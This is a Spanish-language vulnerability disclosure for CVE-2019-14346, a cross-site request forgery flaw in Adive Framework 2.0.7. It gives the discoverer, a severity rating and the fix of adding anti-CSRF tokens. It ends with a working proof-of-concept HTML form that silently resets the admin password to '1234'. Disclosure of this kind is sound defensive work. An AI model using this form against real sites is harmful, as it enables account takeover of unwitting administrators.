CVE-2019-14346 Adive Framework 2.0.7 - Cross-Site Request Forgery

Las vulnerabilidades Cross-Site Request Forgery (CSRF) encontradas en Adive Framework 2.0.7 permiten a un usuario malintencionado realizar acciones como cambiar la contraseña de un usuario a través de este ataque. La vulnerabilidad, ha sido asociada al CVE-2019-14346.

CVE-2019-14346

Adive Framework 2.0.7 – Cross-Site Request Forgery

www.adive.es

📅 Vulnerabilidad descubierta por Pablo Santiago el 02/08/2019
🐛 CVE-2019-14346
🔗 Link del software web y del github con el proyecto.
🐞 Versión vulnerable = 2.0.7 y anteriores probablemente.

Solución: Añadir tokens anti-CSRF en las peticiones.

Vector de ataque / Criticidad de la explotación

CRITICIDAD - 🔴 ALTA 🔴

A través de las vulnerabilidades Cross-Site Request Forgery (CSRF) , un atacante podría aprovecharse de la confianza que tiene la aplicación sobre los usuarios legítimos para crear un enlace o formulario malicioso que será ejecutado a través de estos.

Parámetros / Recursos vulnerables

La aplicación no tiene tokens anti-csrf por lo que es vulnerable a ataques de tipo Cross-site Request Forgery. La vulnerabilidad permite la modificación de la contraseña de cualquier usuario, en este caso la contraseña del usuario admin una vez que se ejecute el CSRF la contraseña se cambiara a 1234 como se observa en el siguiente ejemplo.

Puedes ver la ejecución del CSRF

<html>
  <body>
  history.pushState('', '', '/')
    <form action="http://10.12.117.3/adive/admin/config" method="POST">
      <input type="hidden" name="userName" value="admin" />
      <input type="hidden" name="confPermissions" value="1" />
      <input type="hidden" name="pass" value="1234" />
      <input type="hidden" name="cpass" value="1234" />
      <input type="hidden" name="invokeType" value="web" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>